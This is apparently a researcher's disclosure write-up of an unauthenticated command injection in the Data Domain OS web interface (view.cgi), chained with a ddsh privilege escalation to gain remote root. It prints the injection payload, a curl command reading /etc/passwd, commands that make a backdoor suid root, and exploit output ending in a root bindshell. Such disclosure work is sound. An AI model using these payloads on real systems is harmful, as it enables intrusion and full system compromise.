DataDomainOS Remote Root

Here's a bug I found a bit more than a year ago.
I think some of you will enjoy it.

Introduction
Data Domain is a leading company in data storage and backup solutions.
Data Domain storage systems optimize data protection and disaster recovery (DR) performance.
Data Domain offers a comprehensive range of products to meet the near line storage needs of enterprises of all sizes,
as they seek to reduce costs and simplify data management. Data Domain systems support all leading enterprise backup and
archiving applications for seamless integration into existing IT infrastructures.
Over 1,800 enterprises customers around the world have purchased Data Domain systems.

Affected application
Following applications are discussed in this post:

  • Data Domain OS Enterprise Manager Restorer Web Interface
  • Application description
    The Data Domain OS Enterprise Manager Restorer Web Interface is used as main utility to manage backups and to monitor the system
    like RAID information, job controls, etc.
    The application is combining multiple technologies to display the management web interface and displaying interactive content:

  • Perl/CGI
  • Java
  • System Binaries
  • Versions affected
    It is suspected that all versions of the Data Domain OS Enterprise Manager Restorer Web Interface up and including 4.4.2.4-66000
    are vulnerable to this security issue.
    An advisory from DataDomain regarding this issue is unknown until now.
    Following information was possible to gather from the target system:

    //prod/4.4.2_CTO/platform/os/debugrpm/...@64569
    //prod/4.4.2_CTO/platform/os/...@66000
    //prod/4.4.2_CTO/platform/os/linux-2.6.12/arch/x86_64/...@64569
    //prod/4.4.2_CTO/platform/os/linux-2.6.12/arch/i386/...@64569
    //prod/4.4.2_CTO/platform/os/linux-2.6.12/arch/ia64/...@64569
    And the DataDomainOS release should be 4.4.2.4-66000

    Deployment notes
    The Data Domain OS Enterprise Manager Restorer Web Interface is listening on host/port 0.0.0.0:80 and 0.0.0.0:443, in which the
    services on port 80 just redirects to 443.
    There is no known hardening guide or any security recommendations for these services.

    Previous security issues
    Data Domain Administration Interface Local Privilege Escalation Vulnerability

  • http://www.securityfocus.com/bid/23182/info
  • http://www.securityfocus.com/archive/1/464085
  • Bug history
    The bug was discovered on 15th May 2008

    Vulnerability details (1)
    The vulnerability can be triggered without any authentication and can be classified as critical, as it leads to remote root compromise.

    Vulnerable code
    The bug is located in the file view.cgi in the following snippet:

    if ( defined($template_ref) ) {<br />
     $cmd = &quot;echo -ne \&quot;$param_input\&quot; | $ui_tags -a $retry_count -s $session_id -f /usr/local/apache2/htdocs/templates/$template_ref&quot;;<br />
    }<br />

    As we see, the CGI script executes a shell command with parameters gathered from the requested URL. The vulnerable variable is $retry_count, as we will see later.
    The malicious request looks like that:

    view.cgi?ref=main%2Egui&amp;auth_retry_count=+%0acat+/etc/passwd%0a<br />

    The working escape sequence is a question mark in our case or %0a.
    And the result looks like that:

    [user@fbsd620w]# curl --insecure https://127.0.0.1/view.cgi -d ref=main%2Egui -dauth_retry_count=+%0acat+/etc/passwd%0a
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    operator:x:11:0:operator:/root:/sbin/nologin
    nobody:x:99:99:Nobody:/:/sbin/nologin
    vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
    rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
    rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
    nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
    sysadmin:x:100:50::/ddr/var:/ddr/bin/ddsh
    sshd:x:74:74:Priviledge-separated SSH:/var/empty/sshd:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    apache:x:25:25:Apache Server:/dev/null:/bin/false
    mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
    ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
    pcap:x:77:77::/usr/var/arpwatch:/sbin/nologin
    ntp:x:38:38::/etc/ntp:/sbin/nologin

    Where is the mistake located
    At first sight everything seems to be pretty much in order.
    We find a sanitize function for the GET variables:

    # Checks for bad characters in the parameters<br />
    sub hasBadTokens {<br />
     local( $param ) = @_;<br />
     if( $param =~ /[\&amp;;\`'\|\&quot;\~\?\^\(\)\[\]\{\}\$]|\.\./ ) {<br />
     return 1;<br />
     }<br />
     return 0;<br />
    }<br />

    This function is applied to all requests done to the target script as we see here:

    foreach $param ( @params ) {<br />
     if ( $param eq &quot;session&quot; ) {<br />
     next;<br />
     }<br />
     $value = param( $param );</p>
    <p> # validate input, the key or value can cause damage so check both<br />
     if( hasBadTokens( $param ) ||  hasBadTokens( $value )){<br />
     print &quot;Content-type: text/html\n\n&quot;;<br />
     print &quot;error -- illegal characters detected&quot;;<br />
     exit;<br />

    At this moment it was interesting to see the test result, where we successfully executed code on the target system and the quick look at the code, where it seems to be correctly sanitized.
    But let us take a closer look at the GET variables handling:

    $retry_count = param( &quot;auth_retry_count&quot; );<br />
    if ( ! defined( $retry_count ) ) {<br />
     $retry_count = 0;<br />
    }<br />

    Got it. The GET variable $auth_retry_count which is used in our malicious request gets co-pied here to a local variable called $retry_count before it gets sanitized.

    Vulnerability details (2)
    As we saw, the first vulnerability allows us to execute commands on the target system. But we need to be root to have a full system compromise.
    Here we will discuss about a local privilege escalation found during the same audit.

    Vulnerable binary
    The Data Domain OS provides its own local shell, to be used by clients to monitor the sys-tem and its jobs, execute specific commands and create or modify existing jobs.
    Let us take a closer look at the help description:

    -bash-3.00# ddsh --help
    Usage:  ddsh            Interactive shell
     ddsh -c &lt;cmd&gt;   Execute passed command immediately and exit
    
    Supported flags:
     --admin (-a)            Execute commands/shell as Admin
     --command (-c)          Run a single command
     --dump-verbs (-D)       Dump verb table
     --hardware (-H)         Set hardware platform
     --help (-h)             Display usage and exit
     --interactive (-i)      Force interactive mode
     --log-prefix (-l)       Set logging prefix
     --no-side-effects (-n)  No configuation "side-effects"
     --se (-s)               Execute commands/shell as System Engr
     --type (-t)             Output type (text, html, or xml)
     --vpath (-V) &lt;path&gt;     Specify a DD_ROOT other than /ddr

    The affected option is –se which allows us to execute pre defined commands as root, with-out any authentication.
    With this option we can modify the ownership and the rights on the binary to have our backdoor suid root.

    -bash-3.00# ddsh --se se chown root:root /ddr/var/releases/bd
    -bash-3.00# ddsh --se se chmod 4755 /ddr/var/releases/bd

    Exploitation
    We will see here how to add multiple stages together to achieve a full remote root compro-mise.

    Taking stock

  • We can execute commands
  • we’re limited in characters
  • Uploading files is a hurdle
  • We have no write permissions on /tmp
  • We need to find a world writable directory
  • For a full compromise in our example we need:

  • Find a world writable directory
  • Upload a tool which will receive our backdoor binary and save it
  • Change owner ship of the backdoor
  • Change permission on the backdoor
  • Execute the backdoor
  • Enjoy our root shell
  • Limitations
    There are some character limitations like quote and + and there might surely be others, which I did not catch during my tests.

    Exploit Output

    [root@fd620w ]# ./exploit -h 192.168.1.1 -p 443 -i
    Welcome to the DataDomain OS pseudo shell
    ddpsh# id
    uid=99(nobody) gid=4294967295 groups=4294967295
    ddpsh# uname -a
    Linux xxx 2.6.12-ddr66005 #2 SMP Mon Apr 7 12:42:28 PDT 2008 x86_64 x86_64 x86_64 GNU/Linux
    ddpsh# sendit
    [+] Uploading dl.pl
    [+] Executing dl.pl
    [+] Sending binary backdoor
    [+] chown backdoor to root
    [+] chmod backdoor to 4755 (exec and suid)
    [+] Executing backdoor
    [+] Connecting to the backdoor
    Password: test
    Bindshell --- Send you to heaven n take you to hell...
    bash: no job control in this shell
    bash-3.00# id
    uid=0(root) gid=0(root) groups=4294967295
    bash-3.00# uname -a
    Linux xxx 2.6.12-ddr66005 #2 SMP Mon Apr 7 12:42:28 PDT 2008 x86_64 x86_64 x86_64 GNU/Linux
    bash-3.00#

    Conclusion
    The impact is a simple but effective remote command execution under the apache privileges. But with the right combination we achieve a full remote root compromise of the box.
    And as the system is a pure black box with no shell access for clients, except the proprietary DDShell which is provided with the DataDomain OS, it is a paradise for attackers.
    And those systems are not monitored at all.

    © 2015 coma. All rights reserved.
    Disclaimer: There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk.
    In no event shall the author be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.